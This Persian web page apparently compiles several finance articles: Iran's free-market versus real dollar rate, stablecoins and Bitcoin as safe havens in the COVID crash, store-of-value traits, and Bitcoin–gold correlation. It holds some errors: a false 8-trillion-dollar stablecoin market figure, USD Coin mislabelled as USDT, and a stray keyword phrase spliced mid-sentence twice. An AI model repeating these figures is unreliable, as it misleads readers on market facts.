یکی از ابزارهای مهم برای بررسی آینده بازار دلار مقایسه روند بلندمدت نرخ دلار در بازار آزاد و نرخ دلار حقیقی است. منظور از دلار واقعی، نرخی است که با استفاده از شکاف تورم داخلی و تورم شرکای تجاری محاسبه میشود. بررسی روند دلار حقیقی و دلار بازار حاکی از مشاهده دو روند مشابه از سال ۱۳۸۱ تا سال گذشته است. روند اول از ابتدای این دوره تا انتهای سال ۱۳۹۱ و روند دوم از ابتدای سال ۱۳۹۲ تا پایان سال گذشته بوده است. از ابتدای سال ۱۳۸۱ نرخ دلار در بازار آزاد همواره کمتر از نرخ حقیقی دلار بوده است. این شکاف به تدریج افزایش یافت و در اواسط سال ۱۳۹۰ به بیشترین مقدار خود رسید. اما بحران ارزی در ابتدای دهه جاری باعث شد تا این شکاف ظرف حدود ۲۵ ماه بهطور کامل برطرف و نرخ بازار دلار در پایان بحران این دوره دقیقا با نرخ حقیقی برابر شود. این نقطه که از آن بهعنوان نقطه تخلیه اثر بحران یاد میشود بهعنوان نقطه مبدا بعدی برای تحلیلها تلقی میشود. بعد از این نقطه، دوباره روند حاکم بر بازار مانند ابتدای سال ۱۳۸۱ شروع شد و نرخ دلار واقعی از نرخ دلار در بازار آزاد پیشی گرفت. این شکاف تا نیمه دوم سال ۱۳۹۶ افزایشی بود اما از این تاریخ به بعد شکاف بهصورت جهشی برطرف شد. این شکاف در ابتدای سال ۱۳۹۷ بهطور کامل برطرف و نرخ دلار در بازار آزاد در فروردین ماه این سال با نرخ حقیقی برابر شد. اما بر خلاف بحران ارزی ابتدای دهه جاری که نقطه صفر شدن شکاف، مبدا آغاز شکاف مثبت بود، نرخ بازار آزاد در بحران فعلی از دلار واقعی پیشی گرفت. این اتفاق از سال ۱۳۸۱ به بعد کاملا بیسابقه بوده است؛ یعنی در این ۲۷ سال هیچگاه نرخ بازار آزاد از دلار حقیقی پیشی نگرفته بود. این شکاف منفی در ماههای بعدی سال گذشته تا کنون نیز ادامه یافته است. مهمترین توجیه برای وقوع این شکاف منفی را میتوان عواملی دانست که در چارچوب تحلیل تفاوت تورمها لحاظ نمیشود. هر عاملی غیر از تقاضای معاملاتی که روی نرخ ارز موثر باشد، در مدل تفاوت تورمها دیده نمیشود. از جمله این عوامل میتوان به تقاضای سوداگری و خروج سرمایه اشاره کرد. البته نکته مهم این است که مبنای محاسبه نرخ واقعی دلار استفاده از رشد شاخص قیمت است. تجربه نشان داده شاخص قیمت با وقفه حدود ۱۲ماهه از نرخ ارز روند صعودی را طی میکند. بنابراین انتظار میرود در ماههای اخیر نرخ ارز حقیقی رشد کرده و خود را به نرخ ارز بازار آزاد نزدیک کند. پس آینده بازار ارز را میتوان به ۳ سناریو تقسیم کرد.
سناریوی خوشبینانه: در قالب اولین سناریو میتوان پیشبینی کرد مانند موجهای تورمی قبلی، در ماههای آتی شاخص قیمت به نقطه توقف برسد و همینطور ریسکها در بازار از بین رود. در این سناریو انتظار میرود نرخ ارز بازار آزاد به ارز واقعی نزدیک شود.
سناریوی معتدل: در این سناریو میتوان پیشبینی کرد شاخص تورم در بازار به روند صعودی خود ادامه ندهد اما ریسکهای سیاسی موجود در بازار نیز تداوم داشته باشند. در این حالت انتظار میرود نرخ واقعی بازار روند صعودی قابل توجهی نداشته باشد اما نرخ در بازار آزاد افزایش داشته باشد. در این حالت شکاف موجود نیز افزایش مییابد.
سناریوی سوم: در چارچوب این سناریو فرض میشود هم شاخص قیمت به روند صعودی خود ادامه دهد و هم ریسکهای سیاسی و تقاضای غیرمعاملاتی در بازار افزایش یابند. اگر این دو فرض در بازار محقق شوند میتوان انتظار داشت هم نرخ ارز بازار آزاد روند صعودی داشته باشد و هم نرخ حقیقی ارز تمایل به افزایش پیدا کند و در نهایت شکاف بین این دو نرخ باقی بماند.
بررسی چشمانداز بازارها نشان میدهد آینده بازار ارز در حد قابل توجهی به تقاضای غیرمعاملاتی این دارایی مالی بستگی دارد که تا حدودی افسار آن در دستهای سیاستگذار است. به عبارت دیگر، در شرایط بحرانی سیاستگذار میتواند با اقدامات ضربتی و میانمدت تقاضای غیرمعاملاتی برای داراییها را تا حدودی مهار کند. اولین متغیر قابل کنترل سیاستگذار، نقدینگی است که پرچمدار حرکت سرمایهگذاران به سمت بازارهای مختلف است. مهار نقدینگی علاوه بر اینکه میتواند پتانسیل بازار برای ورود به بازار داراییها را کاهش دهد، از طریق انتظارات احتمال تکثیر بحران را کاهش میدهد. دومین متغیر وضعیت ساختاری بازار ارز است. در مقطع فعلی، بازارها و سامانههای مختلف بازار را غیر شفاف کرده و این خود زمینه را برای نفوذ عدم قطعیت فراهم کرده است. در همین راستا، سیاستگذار میتواند این سامانههای مهندسیشده را به یک بازار متشکل تبدیل کند تا انگیزه بازگشت ارز به بازار تقویت شود. جایگزینی رویکرد مداخله قاعدهمند به جای رویکرد صلاحدیدی دیگر نسخهای است که میتواند برای برگشت تعادل و آرامش به بازار کمک کند؛ رویکرد صلاحدیدی خود باعث تنش و ایجاد نااطمینانی بین بازارگردان و فعالان بازار میشود. بهعنوان نسخهای دیگر، لازم است سیاستگذار لنگر اسمی خود را تعیین و مشخص کند که از چه متغیرهایی مانند نرخ ارز، نرخ بهره و تورم حمایت خواهد کرد و همینطور ابزارهایش برای دستیابی به این اهداف چه خواهد بود.
آیا ارزهای دیجیتال میتوانند یک پناهگاه امن جدید برای سرمایه گذاران تلقی شوند؟
برای سالیان طولانی طلا به عنوان یک محدوده امن در نظر گرفته میشود. چهارده آوریل 2020 این دارایی با افزایش قیمت 2 درصدی نسبت به بیشترین نرخی که از اواخر سال 2012 داشت، یک رکورد جدید ثبت کرد. اما یک ماه قبل در میانه بحران کرونا و اجرای سیاستهای قرنطینه حتی طلا هم به کمترین نرخ خود طی 6 ماه رسید.
منبع: TradingView. افت شاخص بازار Comex Gold Futures؛ سیزدهم مارس 2020
سیزدهم مارس ارزش شاخص Comex Gold Futures (به اختصار GC) 4.63 درصد افت پیدا کرد و به 1516.7 دلار رسید و باعث ایجاد بحرانی برای معامله گران پوزیشن شد. سپس این دارایی یک هفته بعد دوباره و به کندی به مسیر قبل برگشت و روندی صعودی را آغاز کرد که دلیل آن هجوم سرمایه گذاران برای بهره مندی از این دارایی به عنوان یک پناهگاه امن بود.
اما سوالی که در این شرایط برای همه ایجاد شد این بود که آیا این بحران جهانی که در نوع خود بی نظیر بود دنیا را وارد مرحلهای کرد که حتی داراییهایی که پناهگاه امن تلقی میشوند هم نتوانند چیزی را تضمین کنند و آیا دارایی دیگری وجود دارد که در این شرایط بتواند نقش طلا و نقره را به عنوان پناهگاه امن بازی کند؟
همان هفته میانگین صنعتی داو جونز شاهد بیشترین افت معاملات روزانه بود که بیش از 2 هزار واحد سقوط کرد، S&P 500 7.6 درصد و شاخص نزدک مرکب هم 7.3 درصد سقوط پیدا کرد.
پادشاه داراییها کجاست؟!
کاملاً طبیعی است که این صحبتها توجه شما را به سمت بیتکوین جلب کنند اما با مشاهده مثلث معکوس زیر متوجه میشوید که این ارز دیجیتال هم نتوانسته از این قضیه فرار کند
منبع داده: TradingView. سقوط بیت کوین. 13 مارس 2020
متاسفانه بیتکوین که در دل یک بحران اقتصادی و برای چنین بحرانهایی متولد شده این بار به جای اینکه طبق معمول برخلاف روند بازار حرکت کند، از روند کلی کرونا تبعیت کرد. سیزدهم مارس بیتکوین هم دچار سقوط شدیدی شد و با رسیدن به مرز 4 هزار دلار کمترین قیمت خود در یک سال اخیر را ثبت کرد.
Osho Jha از تحلیلگران پیشین وال استریت که حالا مدیر ارشد دیتای استارتاپ Arbol است به وبسایت TradeSanta توضیح داد که بررسی تاثیرات ویروس کرونا بر بیتکوین دشوار است "عکس العمل فوری این است که کرونا باعث ایجاد sell off (هجوم برای فروش با قیمت کم) میشود و بیتکوین هم میتواند بخشی از این Sell off باشد. اما در سطح عمیق تر این اتفاق میتواند اثرات مثبتی برای بیتکوین داشته باشد به عنوان مثال طرح بانکهای مرکزی برای خرید داراییهای متنوع تر، کاهش نرخ اندوختههای بانکها و حرکت فرهنگی به سمت دنیای دیجیتال که پرداختهای دیجیتال هم بخشی از آن هستند."
با این حال چندین عامل هستند که ممکن است بر ادامه رشد و بلوغ بیتکوین و تبدیل شدن به یک دارایی امن در آینده تاثیر گذار باشند از جمله هالوینگ پیش رو؛ بنابراین در حال حاضر میتوان سقوط بیتکوین در کنار سایر داراییها را طبیعی دانست.
اما اگر بیتکوین و بازار سنتی راهکار این چالش نیستند، پس چه چیزی میتواند آن را حل کند؟
در اوج بحران کرونا یک نوع دارایی دیگر هم به طور غیرمنتظرهای عملکرد بسیار خوبی از خود نشان داد و این دارایی "کوین باثبات" بود.
در ادامه نگاهی به عملکرد تتر (USDT) خواهیم داشت که مشهورترین کوین باثبات تا به امروز محسوب میشود. در بحران کرونا ارزش بازار تتر در مقایسه با سایر داراییهای ذکر شده از 4.6 میلیارد دلار در 30 مارس به 6.4 میلیارد دلار در 20 آوریل رسید.
حالا به نمودار زیر نگاه کنید و مثلث بین 13 و 15 مارس را در نظر بگیرید.
منبع داده TradingView، دارایی های پناهگاه امن چیست؟ جهش قیمت USDT، 15 مارس 2020
با نگاهی به این سه نمودار میتوان گفت که درست بعد از سقوط بیتکوین فعالان بازار به سمت خرید تتر حرکت کرده اند. پس از پایان دوره اصلاح این کوین خیلی سریع به مسیر خود برگشت.
اعداد دیگری هم وجود دارند که این روند را تایید میکنند. مثلاً به گفته یکی از محققان ارزهای دیجیتال با نام مستعار Hasu طی چند ماه اخیر ارزش کل بازار کوینهای باثبات به 8 تریلیون دلار رسیده است. بعلاوه حجم عرضه کوینهای باثبات از رقم 7 میلیارد دلار گذشته و رو به افزایش است. همچنین طبق اظهارات glassnode که در زمینه ارائه دادهها و اطلاعات بلاکچین فعالیت میکند، 16 آوریل موجودی تتر در اکسچینجها به رقم 1.7 میلیارد USDT رسید.
سایر کوینهای باثبات هم رشد قابل توجهی داشته اند و USD Coin (USDT) به ارزش بازار 729 میلیون دلار و Binance USD به ارزش بازار 206 میلیون دلار رسید.
بنابراین تتر تنها کوین باثباتی نبوده که در بحران کرونا عملکردی قوی از خود نشان داده است.
پناهگاه امن بعدی چه دارایی خواهد بود؟
از نظر تئوری کووید 19 میتواند کوینهای باثبات را برای سرمایه گذاران تبدیل به یک دارایی امن کند که از آنها در برابر نوسانات بازار محافظت میکند.
اما پیامدهایی هستند که میتوانند مانع وقوع این اتفاق شوند. هیئت ثبات مالی (FSB) اخیراً لیستی 64 صفحهای از توصیههای خودش برای "مقابله با چالشهای نظارتی و قانونی ایجاد شده در اثر کوینهای باثبات" منتشر کرد.
طبیعی است در شرایط فعلی که مردم در قرنطینه به سر میبرند ایده پول اینترنتی برای پرداختهای آنلاین رشد و رونق پیدا کند اما همین موضوع باعث میشود که قانونگذاران به دنبال اقداماتی جدی تر برای مقابله با این مسئله باشند.
اگر قانونگذاران تصمیم به قانونمند کردن کسب و کارهای حوزه ارزهای دیجیتال بگیرند این اقدام میتواند باعث تغییر قابل توجه چشم انداز بازار شود چون لزوماً همه قادر به بقا در اثر چنین تغییری نیستند. ممکن است اقتصاد غیرمتمرکزی که بر پایه کوینهای باثبات طراحی شده از این شرایط آسیب ببیند و امکان عملی شدن پروژههایی مثل لیبرا وجود نداشته باشد.
بحران کرونا دنیا را برای همیشه دستخوش تغییر کرد و این یعنی ممکن است روشهای قبلی برای مقابله با چالشهای جدید مناسب نباشند. دنیا نیاز به یک ارز اینترنتی پایدار دارد تا کاربران بتوانند در شرایطی که دلار آمریکا و سایر داراییها در چنین بحرانهایی به شدت نوسان پیدا میکنند از منزل هزینه اقلام خریداری شده را پرداخت کنند. در حالیکه منتظر هستیم بیتکوین به آرامی مسیر خود را به سمت قلههایی جدید باز کند، ممکن است کوینهای باثبات جوان بتوانند این چالش را حل کنند.
ذخیره ارزش (Store of Value) چیست؟ آیا بیت کوین ذخیره ارزش محسوب میشود؟
بسیاری از کارشناسان امیدوار بودند با شروع سال ۲۰۲۲ و پس از ثبات نسبی در شرایط ملتهب جهانی پس از همهگیری کرونا، آرامآرام اوضاع به روال قبل بازگردد؛ اما نهتنها این وضعیت بهبود چندانی نیافته؛ بلکه با شروع درگیری نظامی میان روسیه و اوکراین شرایط اقتصادی دنیا روبهوخامت گذاشته است. باایناوصاف، چندان جای تعجب نیست که این روزها بسیاری از مردم بهطور وسواسگونهای اخبار اقتصادی را دنبال میکنند و دراینمیان، با اصطلاحات و موضوعاتی مواجه میشوند که تا پیشازاین کمتر به آنها توجه میکردند، یکی از این اصطلاحات ذخیره ارزش است.
پس از آشفتگیهای اقتصادی اخیر، بسیاری از مردم نگران هستند که مبادا زندگیشان بهدلیل شرایط جهانی با آسیبهای شدید اقتصادی مواجه شود. بههمیندلیل، آنها بهدنبال این هستند که داشتههای خود را به داراییهایی تبدیل کنند که از گزند رکود و افت شدید و بیارزششدن در امان باشند. حال این داراییهای ضدتورمی و محافظ دربرابر رکود که در اقتصاد از آنها بهعنوان ذخیره ارزش یاد میشوند، چه هستند و چه ویژگیهایی دارند؟ آیا داراییهای دیجیتال بهخصوص بیت کوین که بسیاری آن را ذخیره ارزش در زمان بحران میدانند، میتوانند ما را دربرابر رکود و تورم محافظت کنند؟ اگر میخواهید بیشتر درباره این نوع داراییها بدانید و به پاسخ این پرسشها دست پیدا کنید، تا انتهای این مقاله همراه ما باشید.
ذخیره ارزش (Store of Value) چیست؟
بهطورکلی، ذخیره ارزش به دارایی یا کالایی گفته میشود که در طول زمان ارزشش را حفظ کند و دچار کاهش شدید قیمت نشود. درحقیقت، ذخایر ارزش داراییهای باثبات، ایمن، کمریسک و ماندگار هستند. همین کمریسکبودن و پایداری موجب شده است تا ذخایر ارزش در زمانی که شرایط اقتصادی با بیاعتمادی و نوسانهای شدید همراه است، به موضوعی مهم و ارزشمند تبدیل شوند.
نکته مهم این است که اغلب ذخایر ارزش در زمان رکود و هنگامیکه اکثر داراییها با ریزش مواجه میشوند، کاهش قیمت کمتری را تجربه میکنند یا حتی بر قیمت آنها افزوده هم میشود؛ بنابراین، دلیل اینکه بسیاری از سرمایهگذاران مطرح همواره بخشی از سبد سرمایه خود را به این نوع از داراییها اختصاص میدهند، چندان تعجبآور نیست.
ذخیره ارزش چه ویژگیهایی دارد؟
در نگاه کلی، اختلافنظرهای زیادی درباره این موضوع وجود دارد که کدام دارایی ذخیره ارزش است؛ اما باید توجه کرد که نمیتوان به هر دارایی و کالایی برچسب ذخیره ارزش زد. داراییهایی که بهعنوان ذخیره ارزش معرفی میشوند، اغلب ویژگیهایی دارند که آنها را از سایر اقلام متمایز میکنند. برخی از آنها عبارتاند از:
- ثباتدر نوسانها: یکی از ویژگیهای مهم ذخیره ارزش موضوع پایداری و ثبات است. ذخایر ارزش اغلب نوسانهای قیمتی شدیدی را تجربه نمیکنند و درعوض، بهای آنها با روندی آرام افزایش مییابد. البته نباید فراموش کنیم که این داراییها ممکن است با نوسانهای کوتاهمدتی نیز مواجه و در بحرانهای بزرگ اقتصادی دچار افت قیمت شوند؛ اما این کاهش درمقایسهبا سایر داراییها کمتر است و در نگاهی کلی، میتوان ثبات را در چرخه قیمتی آنها مشاهده کرد.
- استقلال از سایر بازارها: یکی دیگر از ویژگیهای مهم ذخایر ارزش استقلال و جدابودن از بازار مالی سنتی مانند بازار سهام است. این داراییها معمولاً همبستگی چندانی با سایر بازارهای مالی مانند S&P۵۰۰ ندارند و اغلب بهعنوان پوششی دربرابر ریسک و پناهگاه امن سرمایهگذاران در زمان تلاطم استفاده میشوند. باید به این موضوع مهم توجه کرد که این داراییها دنبالهرو بازارهای سنتی نیستند؛ بههمیندلیل، در زمان اصلاح بازار دستخوش تغییر قیمت نمیشوند.
- حفظ قدرت خرید: یکی دیگر از ویژگیهای ذخایر ارزش حفظ قدرت خرید است. این موضوع بدانمعناست که ارزش این دسته از داراییها تقریباً پایدار و حتی افزایشی است. بهعنوان مثال، اگر امروز بتوان یک واحد از یک ذخیره ارزش خاص را با پنج عدد نان مبادله کرد، این نسبت قدرت خرید باید همواره ثابت بماند یا در طول زمان افزایش یابد. بهبیان بهتر، در ۱۰ سال آینده نیز یک واحد از همان ذخیره ارزش باید با حداقل پنج عدد نان (با نرخ روز) قابل معاوضه باشد.
- ماندگاری و مداومت: همانطورکه اشاره کردیم، یکی از جنبههای اصلی ذخایر ارزش ماندگاری و حفظ ارزش آنها در دورهای طولانیمدت است. منظور از ماندگاری این است که ویژگیهای ذاتی آنها در طول زمان تغییر نکنند و بتوانند برای سالها و حتی قرنها پابرجا بمانند. داراییها و کالاهایی که هراندازه گرانبها و ارزشمند باشند؛ اما در آزمون زمان نتوانند ویژگیهای ذاتیشان را حفظ کنند، هیچگاه ذخیره ارزش محسوب نمیشوند.
- پذیرش عمومی: یکی دیگر از ویژگیهای ذخایر ارزش پذیرش گسترده و عمومی آنها میان مردم است. اینکه هر کالا یا دارایی بتواند اهمیت و ارزشش را به عموم مردم اثبات کند و بخش بزرگی از جامعه آن را بپذیرند، میتواند بهعنوان ذخیره ارزش مطرح شود.
- بخشپذیربودن: بخشپذیری (Divisible) هم یکی از ویژگیهایی است که میتواند موجب انتخاب کالا یا دارایی بهعنوان ذخیره ارزش شود. منظور از بخشپذیربودن این است که بتوان آن را در ابعاد و واحدهای کم یا کوچکتری نیز خریدوفروش کرد و محدودیتی در این زمینه وجود نداشته باشد.
- سهولت در جابهجایی: یکی از موضوعات بحثبرانگیز کارشناسان درباره ذخایر ارزش موضوع جابهجایی است. عدهای معتقدند ذخیره ارزش را باید بتوان بهآسانی منتقل کرد؛ اما برخی این صفت را بهعنوان ویژگی ذخایر ارزش درست نمیدانند و زمین و ملک را بهعنوان نمونههایی از ذخایر ارزش مثال میزنند که جابهجاشدنی نیستند.
علاوهبر ویژگیهای مذکور، خصیصههایی مانند کمیاببودن، سختی در تولید یا استخراج، نقدشوندگی درخورتوجه و سهولت در خریدوفروش هم از صفات مهم ذخایر ارزش هستند. پس از مرور ویژگیهای ذخایر ارزش، این پرسش مطرح میشود: کدامیک از داراییهایی که امروزه دردسترس ما قرار دارند (مانند طلا و ارزهای فیات و بیت کوین)، ذخیره ارزش محسوب میشوند؟
آیا ارزهای فیات ذخیره ارزش هستند؟
آیا پول رایج ذخیره ارزش محسوب میشود؟ این سؤالی است که جوابهای متفاوتی به آن داده میشود. بزرگترین مشکل پول تورم است. ازآنجاکه ارزش واحدهای پولی رایج یا ارزهای فیات در طول زمان کاهش مییابد، اجتناب از تورم در طولانیمدت موضوعی بسیار سخت و تقریباً غیرممکن است. بنابراین، این کاهش ارزش در پول رایج مستقیماً با صفت مهم حفظ ارزش و قدرت خرید در ذخایر ارزش در تضاد است.
باوجوداین، برخی از اقتصاددانان همچنان معتقدند که پول درواقع ذخیره ارزش قدرتمندی است. آنان این ادعا را مطرح میکنند که ارزش پول در طول زمان کاهش مییابد؛ اما روند آن بسیار کُند است. ویژگیهایی مانند پذیرش دارایی های پناهگاه امن چیست؟ گسترده، نقدینگی چشمگیر، سهولت در جابهجایی و بخشپذیربودن صفاتی هستند که طرفداران ارزهای فیات برای ذخیره ارزش دانستن آن ذکر میکنند. این در حالی است که ارز فیاتی مانند دلار آمریکا با آنکه چنین صفاتی دارد، فاقد ویژگیهای مهمی مانند حفظ قدرت خرید و کمیابی است.
آیا طلا ذخیره ارزش است؟
قرنهاست که طلا بهعنوان ذخیره ارزش در نظر گرفته میشود. قیمت طلا تقریباً ثابت است؛ یعنی نوسانهای شدید و بیثباتکنندهای را تجربه نمیکند و همواره ارزشش افزایشی بوده و سالهاست که نهادها و سرمایهگذارهای بزرگ به آن اعتماد دارند. علاوهبراین، قیمت طلا تقریباً مستقل است و با نوسانهای بازارهای مالی ارتباط معناداری ندارد.
با وجود شرایط فعلیِ بازارهای مالی، طلا مقدار قابلتوجهی از ارزش خود را حفظ و درمقایسهبا سایر داراییها کاهش قیمت کمتری را تجربه کرده است. طلا دارایی کمیاب با عرضه محدود است و فرایند استخراج سختی دارد و در عین حال امکان خریدوفروش مقدار اندک آن نیز ممکن است. همین ویژگیها موجب شده است تا این دارایی بهعنوان یکی از مطرحترین ذخایر ارزش در میان مردم و سرمایهگذاران لقب بگیرد.
آیا بیت کوین ذخیره ارزش محسوب میشود؟
از دید بسیاری در دنیای ارزهای دیجیتال، بیت کوین برجستهترین نمونه نسخه دیجیتالی ذخیره ارزش تلقی میشود؛ بههمیندلیل، اغلب از آن با نام «طلای دیجیتالی» یاد میکنند. درحالیکه بسیاری از کارشناسان بر این باورند که بیت کوین ویژگیهای اصلی ذخیره ارزش را دارد، عدهای از منتقدان نیز هستند که استدلال میکنند بیت کوین حداقل درحالحاضر ذخیره ارزش کارآمدی نیست و نمیتوان به آن اطمینان کرد.
برای آنکه این موضوع را بهتر بررسی کنیم، درادامه برخی از ویژگیهای ذخیره ارزش را با صفات ذاتی بیت کوین مقایسه میکنیم تا ببینیم این ادعا که بیت کوین ذخیره ارزش است، چقدر میتواند صحت داشته باشد.
- کمیاببودن: یکی از دلایل عمدهای که بیت کوین بهعنوان ذخیره ارزش شناخته میشود، محدودبودن عرضه آن است. عرضه بیت کوین به ۲۱میلیون واحد محدود و روند عرضه آن با گذشت زمان در حال کاهش است. این ارز دیجیتال بهگونهای طراحی شده است تا علاوهبر افزایش سختی استخراج، عرضهاش نیز طی رویدادی با نام هاوینگ (Halving) محدود شود. بههمیندلیل، مدل ضدتورمی بیت کوین تا حدودی به طلا شباهت دارد.
- ماندگاری و سهولت در انتقال: بیت کوین هرگز تاریخ انقضایی ندارد و میتوان گفت ماندگاریاش نامحدود و درعینحال، هزینههای ذخیرهسازی آن نزدیک به صفر است. تنها ابزاری که فرد برای نگهداری و دراختیار داشتن بیت کوین نیاز دارد، کیف پول دیجیتال است؛ کیفی که میتوان بدون هیچ محدودیتی بیت کوین را برای مدت بسیار طولانی نگهداری و مدیریت کرد. علاوهبراین، بیت کوین را میتوان بهراحتی و با کمترین هزینه در سراسر جهان جابهجا و ارسال کرد. این ماندگاری و سهولت در انتقال به بیتکوین اجازه میدهد تا داراییای باشد که سرمایهگذاران بهراحتی میتوانند آن را در دوره زمانی طولانی نگهداری و جابهجا کنند.
- نوسانهای زیاد: یکی از مشکلات بزرگ بیت کوین بهعنوان ذخیره ارزش نوسانهای زیاد و متعدد قیمت آن است. در ماههای اخیر، شاهد سقوط چشمگیر ارزش این دارایی دیجیتال درمقایسهبا اوج قیمتیاش بودیم؛ مسئلهای مهم آنهم برای داراییای که قرار است ثبات ارزش دارایی سرمایهگذاران را بهعنوان ذخیره ارزش بههمراه داشته باشد. نباید فراموش کنیم که طلا در مدت مشابه تنها ۲ تا ۳درصد از ارزشش را از دست داد. تا زمانیکه بیت کوین با چنین نوسانهای بزرگی روبهروست، برای معرفی خود بهعنوان ذخیره ارزش مشکل دارد؛ چراکه نمیتواند ثبات و افزایش ثابتی را به سرمایهگذاران ارائه کند که از سایر ذخایر ارزش انتظار داریم.
- همبستگی با بازارها: همانطورکه پیشتر اشاره کردیم، داشتن استقلال و نبود ارتباط معنادار میان دارایی با بازارهای سنتی مانند سهام، ویژگی تأثیرگذاری برای ذخیره ارزش محسوب میشود. براساس شواهد، بیت کوین تا اواسط سال ۲۰۱۷ همبستگی چندانی با بازارهای سنتی مانند S&P500 نداشت؛ اما از اوایل سال ۲۰۱۸ و بهخصوص از ابتدای سال ۲۰۲۰، نهتنها ارتباط نسبتاً قدرتمندی میانشان ایجاد شده؛ بلکه این ارتباط بهسمت همبستگی کامل (Perfect Correlation) پیش رفته است. اگر به نمودار زیر (چرخه همبستگی میان S&P500 و بیت کوین) نگاهی بیندازیم، متوجه میشویم که این میزان در سال ۲۰۲۲ به حدود ۰.۶۰۷ رسیده است. حال دلیل این همبستگی چیست؟ بهنظر میرسد با رشد بیت کوین بهعنوان یکی از جریانهای اصلی در بازارهای مالی و جذبشدن مؤسسههای مالی نهادی به سرمایهگذاری در این ارز دیجیتال، مسیر همبستگی آن با بازارهای جهانی افزایش یافته است.
پذیرش نهادی بیت کوین موجب پذیرش گسترده و افزایش کاربردهای این ارز دیجیتال میشود؛ اما درعینحال همین موضوع باعث میشود تا ارتباط و وابستگی نسبتاً قدرتمندی میان این دارایی و بازارهای سنتی شکل بگیرد؛ شرایطی که میتواند بر جایگاه بیت کوین بهعنوان ذخیره ارزش تأثیرگذار باشد.
درمجموع، بیت کوین ویژگیهای متعددی دارد که میتواند آن را به ذخیره ارزش عالی تبدیل کند. بااینحال، نوسانهای متعدد و تغییر قیمت زیاد و همبستگیاش با برخی بازارهای مالی، حاکی از آن است که بیت کوین برای تبدیلشدن به ذخیره ارزش با جایگاهی مستحکم، مسیری طولانی در پیش دارد.
جمعبندی
برای مردم عادی که اندوخته و پسانداز محدودی دارند، حفظ ارزش اندوختههایشان مهمترین موضوع است؛ بههمیندلیل، بسیاری بهدنبال یافتن راهی برای حفظ ارزش داراییهای خود ازطریق تبدیل آن به کالا یا داراییهای ضد تورمی هستند.
دراینمیان، طرفداران ارزهای دیجیتال به مردم توصیه میکنند برای در امان ماندن از شرایط رکود و تورم، بهسراغ بیت کوین بروند و بخشی از پساندازشان را در آن سرمایهگذاری کنند؛ چراکه آنان باور دارند این دارایی ذخیره ارزش حقیقی و ماندگار است.
درمقابل، سرمایهگذاران سنتی و محتاطتر مردم را به خرید طلا یا ارزهای فیات باارزشتر تشویق میکنند و معتقدند که طلا یا ارزهایی مانند دلار آمریکا میتواند زندگی آنها را از شرایط متلاطم اقتصادی در امان نگه دارد.
دیدگاه شما درباره این موضوع چیست؟ بهنظر شما کدام دارایی ضدتورم یا ذخیره ارزش میتواند پساندازمان را ایمن نگاه دارد؟
آیا همبستگی بین بیت کوین و طلا وجود دارد ؟
در میان عدم قطعیت اقتصادی که بر تعداد بیشماری از کشورهای جهان تأثیر میگذارد، استراتژیستهای بازار اوراق بهادار بانک آمریکا در یادداشتی در این هفته توضیح دادند که بیتکوین دارایی رمزنگاری پیشرو با فلز گرانبهای معروف طلا مرتبط است. آلکش شاه و اندرو ماس، تحلیلگران بانک آمریکا خاطرنشان کردند: «با ادامه عدم قطعیت کلان، ممکن است سرمایه گذاران بیت کوین را به عنوان یک پناهگاه امن نسبی ببینند.
استراتژیست های بازار بانک آمریکا می گویند افزایش همبستگی بیت کوین با طلا نشان می دهد که سرمایه گذاران ممکن است بیت کوین را به عنوان یک پناهگاه امن نسبی ببینند.
استراتژیست های بازار از بخش اوراق بهادار بانک آمریکا، الکش شاه و اندرو ماس، این هفته توضیح دادند که بیت کوین و طلا در زمان های اخیر همبستگی بالایی داشته اند. این خبر به دنبال گزارش اخیر منتشر شده توسط ارائه دهنده داده های رمزنگاری Kaiko است که می گوید بیت کوین نسبت به شاخص های نزدک و اس اند پی 500 نوسانات کمتری داشته است. به گفته استراتژیست های بانک آمریکا، نوسانات قیمت بیت کوین (BTC) از نظر سایر دارایی های جهانی، باعث شده است که سرمایه گذاران فکر کنند بیت کوین یک دارایی امن است.
تحلیلگران بخش اوراق بهادار بانک آمریکا نوشتند: کاهش همبستگی مثبت با SPX/QQQ و همبستگی به سرعت در حال افزایش با XAU نشان می دهد که سرمایه گذاران ممکن است بیت کوین را به عنوان یک پناهگاه امن نسبی ببینند، زیرا عدم اطمینان کلان همچنان ادامه دارد و پایین بازار باقی مانده است.
در روز دوشنبه 24 اکتبر، هر دو قیمت بیت کوین (BTC) و طلا در محدوده محدود بوده اند و در مقایسه با بازارهای سهام، نوسانات کمتری داشته اند. بیت کوین با قیمتی بالاتر از 19 هزار دلار در هر واحد معامله می شود، در حالی که یک اونس طلای خوب 0.999 در حال مبادله با 1646.70 دلار اسمی است. شاه و ماس بانک آمریکا همبستگی 40 روزه با طلا را که در این هفته حدود 0.50 است، زیر نظر گرفته اند. رتبه 0.50 بسیار نزدیکتر است و نشان می دهد که همبستگی قوی تری با این فلز گرانبها نسبت به رتبه صفر که BTC دارایی ارزهای دیجیتال پیشرو در ماه آگوست ثبت کرد، دارد.
این اقدام در زمانی انجام می شود که عدم اطمینان کلان افزایش یافته است و تحلیلگران هشدار داده اند که افزایش نرخ بهره فدرال رزرو آمریکا می تواند باعث بحران نقدینگی خزانه داری آمریکا شود. ناظران بازار انتظار افزایش شدید نرخ بهره را در ماه آینده دارند، اما استراتژیست ها همچنین معتقدند که فدرال رزرو تا دارایی های پناهگاه امن چیست؟ دسامبر تغییر خواهد کرد. طلا و بیت کوین هر دو از زمان بالاترین قیمت این دو دارایی بسیار کاهش یافته اند. به عنوان مثال، طلا در 8 مارس 2022 به بالاترین قیمت در برابر دلار آمریکا رسید، زمانی که به 2074 دلار در هر اونس رسید.
طلا از زمان بالاترین رکورد در 230 روز قبل، 20.49 درصد در برابر دلار آمریکا کاهش یافته است. بیت کوین دارایی رمزنگاری شده (BTC) در سال گذشته 72 درصد در برابر دلار کاهش یافته است، پس از اینکه در 10 نوامبر 2021 به ازای هر واحد 69,044 دلار رسید. طلا امروز دارای ارزش بازار کلی حدود 10.895 تریلیون دلار است، در حالی که ارزش بازار BTC حدود 369 میلیارد دلار است. .
درباره اینکه شاه و ماس بانک آمریکا توضیح میدهند که طلا و بیت کوین در 40 روز گذشته همبستگی داشتهاند، چه فکر میکنید؟ آیا فکر می کنید که سرمایه گذاران بیت کوین را به عنوان یک پناهگاه امن در میان عدم اطمینان کلان امروزی می دانند؟ نظرات خود را در مورد این موضوع در بخش نظرات زیر با ما در میان بگذارید.
دیدگاه شما